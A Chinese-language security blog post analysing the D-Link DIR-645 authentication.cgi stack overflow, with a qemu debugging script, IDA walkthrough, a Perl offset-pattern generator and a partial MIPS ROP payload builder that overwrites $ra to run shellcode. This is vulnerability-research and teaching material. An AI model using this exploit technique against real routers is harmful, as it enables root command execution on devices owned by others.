登录/注册
投稿
首页 威胁情报 安全动态 漏洞预警 专题报告 技术分析 安全工具

D-Link DIR-645路由器溢出漏洞分析

herculiz  1234天前

1111.jpg

漏洞介绍

D-Link DIR-645在实现上存在命令注入及栈缓冲区溢出漏洞，攻击者可利用这些漏洞任意更改内存，以root权限执行任意shell命令或代码。该漏洞是CGI脚本在处理authentication.cgi请求，来读取POST参数中的"password"参数的值时造成的缓冲区溢出。

固件提取文件系统

固件下载：ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

1.png

qemu+IDA调试分析

1. run_cgi.sh脚本：

#!/bin/bash

# 待执行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"

INPUT="$1" # 参数1，uid=A21G&password=1160个A
TEST="$2"    # 参数2，uid=A21G
LEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度
PORT="1234"    # 监听的调试端口

# 用法错误则提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nUsage: sudo $0 \n"
    exit 1
fi

# 复制qemu-mipsel-static到本目录并重命名，注意是static版本
cp $(which qemu-mipsel-static) ./qemu
echo $TEST
# ｜ 管道符：前者输出作为后者输入
# chroot 将某目录设置为根目录（逻辑上的）
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
echo 'run ok'
rm -f ./qemu    # 删除拷贝过来的执行文件

2. 调试目标程序需要匹配正确。（有知道原因的可以跟帖回复，也方便大家览阅）

符号链接问题.png

3. IDA分析，追踪问题函数

断定ra寄存器.png

4. 填充数据调试

2.png

IDA调试参考：

3.png

获得&ra在栈上的地址（这是非子叶函数的性质）：

4.png

F8执行观察，直到栈上保存&ra的数据内容发送变化（可猜测这里可能时溢出点）：

5.png

注意：为了防止后面可能出现二次溢出，或则其他处溢出才是真正影响被程序被控制的位置，我们继续F8执行观察。

程序异常结束了，发现时a1寄存器的值是栈上的，大概猜测一下是我们填充的值太大影响到了这位置上的值。

5. 看看a1正常的内容读取:

6.png

缩短填充内容的长度，重新调试：

7.png

程序走到authenticationcgi_main的返回位置才退出：

如果需要看到更明显的步骤，可以自己找到此处再下个断点

8.png

9.png

结论：真实溢出位置就是read()函数引起的。

6. 分析read（）函数上下文传入传出数据。

先到read()函数跳转处分析参数的来源与目的地：

10.png

分析方法：由于MIPS是流水线执行指令顺序，寻找参数先到函数跳转处先向下查找参数，然受再向上查找参数。

11.png

最终得到read()函数原型：

read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))

7. 注var_430计算大小方式:

根据栈中变量的顺序去计算

12.png

至此漏洞定位分析完，起始后面还有些危险函数可能存在危险溢出点需要验证，不过方法都无非是构造数据填充加上调试观察构造的数据位置。由于后面的函数都达不到溢出，所以就不附上步骤了。

  • 根据漏洞描述，POST提交数据时，并不是任意格式的数据都能造成缓存区溢出，需要”id=XX&&password=XX“形式的格式。

验证分析：

13.png

程序异常退出在此处，分析：

14.png

在向上分析，发现数据最终来源与$s2相关的数据，双击进入，发现固定格式，读取后面数据为strlen服务：

15.png

更改回要求的形式获得结果：

16.png

17.png

漏洞测试

1. 调试确定偏移

这里分享个更方便的脚本patter.pl脚本生成构造数据:

#!/usr/bin/perl -w
use strict;
 
# Generate/Search Pattern (gspattern.pl) v0.2
# scripted by Wasim Halani (washal)
# Visit me at https://securitythoughts.wordpress.com/
# Thanks to hdm and the me tasploit team
# Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
# This script is to be used for educational purposes only.
 
my $ustart = 65;
my $uend = 90;
my $lstart = 97;
my $lend = 122;
my $nstart = 0;
my $nend = 9;
my $length ;
my $string = "";
my ($upper, $lower, $num);
my $searchflag = 0;
my $searchstring;
 
sub credits(){
    print "\nGenerate/Search Pattern \n";
    print "scripted by Wasim Halani (washal)\n";
    print "https://securitythoughts.wordpress.com/\n";
    print "Version 0.2\n\n";
}
 
sub usage(){
    credits();
    print " Usage: \n";
    print " gspattern.pl  \n";
    print "         Will generate a string of given length. \n";
    print "\n";
    print " gspattern.pl   \n";
    print "         Will generate a string of given length,\n";
    print "         and display the offsets of pattern found.\n";
}
 
sub generate(){
    credits();
    $length = $ARGV[0];
    #print "Generating string for length : " .$length . "\n";
    if(length($string) == $length){
        finish();
    }
    #looping for the uppercase
    for($upper = $ustart; $upper <= $uend;$upper++){
        $string =$string.chr($upper);
        if(length($string) == $length){
            finish();
        }
        #looping for the lowercase
        for($lower = $lstart; $lower <= $lend;$lower++){
            $string =$string.chr($lower);
            if(length($string) == $length){
                finish();
            }
            #looping for the numeral
            for($num = $nstart; $num <= $nend;$num++){
                $string = $string.$num;
                if(length($string) == $length){
                    finish();
                }
                $string = $string.chr($upper);
                if(length($string) == $length){
                    finish();
                }
                if($num != $nend){
                    $string = $string.chr($lower);
                }
                if(length($string) == $length){
                    finish();
                }
            }
        }
    }
}
 
sub search(){
    my $offset = index($string,$searchstring);
    if($offset == -1){
        print "Pattern '".$searchstring."' not found\n";
        exit(1);
    }
    else{
        print "Pattern '".$searchstring."' found at offset(s) : ";
    }
    my $count = $offset;
    print $count." ";
 
    while($length){
        $offset = index($string,$searchstring,$offset+1);
        if($offset == -1){
            print "\n";
            exit(1);
        }
        print $offset ." ";
        $count = $count + $offset;
    }
    print "\n";
    exit(1);
}
 
sub finish(){
    print "String is : \n".$string ."\n\n";
    if($searchflag){
        search();
    }
    exit(1);
}
 
if(!$ARGV[0]){
    usage();
    #print "Going into usage..";
}
elsif ($ARGV[1]){
    $searchflag = 1;
    $searchstring = $ARGV[1];
    generate();
    #print "Going into pattern search...";
}
else {
     generate();
     #print "Going into string generation...";
}

以下是用法

2. patter.pl脚本使用方法

有两种操作模式：1) 只提供一个参数，即要生成的字符串的长度( ./ gspattern.pl [length of string] )2) 字符串的长度和要找到偏移量的模式提供（./ gspattern.pl [字符串长度] [搜索模式]）

注（搜索模式）：获得要计算偏移溢出位置的hex值，转化为ASCII码。（记住一定要根据大小端序来输入，下面步骤中已举例）

3. 生成构造数据（我直接写入文件了，它把description也一块写入了，需要进去删除下）：

./pattern.pl 1160 > test_auth

调试确定需要的偏移位置值：

sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"

18.png

将0x38684237 转成对应ASCII码：8hB7

19.png

4. 构造ROP参考：家用路由器漏洞挖掘实例分析

5. 构造POC

    # 构造payload
    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
 
    payload.AddNops(1011)                # filler # 7. 填充1011个字节，$s0偏移为1014，129行target数组中地址只占了3，04-3=01
    payload.AddAddress(target[v][0], base=libc)    # $s0
    payload.AddNops(4)                            # $s1
    payload.AddNops(4)                            # $s2
    payload.AddNops(4)                            # $s3
    payload.AddNops(4)                            # $s4
    payload.AddAddress(target[v][2], base=libc)    # $s5
    payload.AddNops(4)                            # unused($s6)
    payload.AddNops(4)                            # unused($s7)
    payload.AddNops(4)                            # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp，可能是作者笔误吧，实际验证应该是$fp,下面注释给出验证数据。
    payload.AddAddress(target[v][1], base=libc)    # $ra
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.Add(cmd)                # shellcode

20.png

qemu开启仿真环境

1. 打开qemu系统

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

2. 利用SCP把路由系统文件传过去，之前文章有写过，不清楚的请看参考链接。

3. 开始仿真环境前准备

挂载固件文件系统中的proc目录和dev目录到chroot环境，因为proc中存储着进程所需的文件，比如pid文件等等，而dev中存储着相关的设备：

mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc/chroot ./squashfs-root/ sh

然后进入/etc/init.d/目录下，执行./rcS（init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件）启动：

然后根据报错提示去修复

仿真启动失败.png

当然用别的仿真环境跑起来也都一样运行，这里我没启动成功，主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境，欢迎大家交流。

参考

[1] https://bbs.pediy.com/thread-259274.htm

[2] https://bbs.pediy.com/thread-268623.htm

漏洞
上一篇： Vulfocus漏洞靶场 v0.3.2....... 下一篇： 漫谈 JEP 290

最新评论

昵称
邮箱
提交评论

相关推荐

“螺丝刀”揭开严重安全漏洞 多厂...
推土机、Zen架构被曝全都有安全...
高通芯片曝出漏洞，可让黑客窃取...
Citrix严重漏洞可能会使成千上万...
【漏洞预警】泛微E-cology OA系...

热门文章

友情链接：FOFA FOEYE BAIMAOHUI 安全客 i春秋 指尖安全 2021上海网络安全博览会

nosec.org All Rights Reserved 京ICP备15042518号-2